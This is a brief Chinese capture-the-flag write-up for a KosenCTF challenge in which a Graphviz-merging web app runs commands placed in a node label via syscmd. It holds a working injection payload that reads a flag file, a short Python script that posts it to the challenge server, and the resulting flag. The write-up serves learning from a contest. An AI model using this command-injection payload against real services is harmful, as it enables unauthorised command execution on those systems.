观察界面,发现功能是聚合两个graphviz对象,diagraph可以在里面通过syscmd写入命令,比如
digraph { a0[label="syscmd(`cat flag_foxtrot.txt\')"] }
脚本代码如下,自行更改HOST和PORT
import requests
import os
import re
HOST = os.getenv('HOST', '82.157.146.43')
PORT = os.getenv('PORT', '11399')
payload = {
'g1': 'digraph { a0[label="syscmd(`cat flag_foxtrot.txt\')"] }',
'g2': 'digraph { a0 }'
}
for i in range(3):
r = requests.post(f"http://{HOST}:{PORT}/", data=payload)
flag = re.findall("KosenCTF{.+}", r.text)[0]
print(flag)
flag如下:
KosenCTF{1nt3rpr3t1ng_dur1ng_pr0c3ss1ng}
看了官方writeup,这道题被分在了misc中作为第一题,不知道这边为啥在web分类里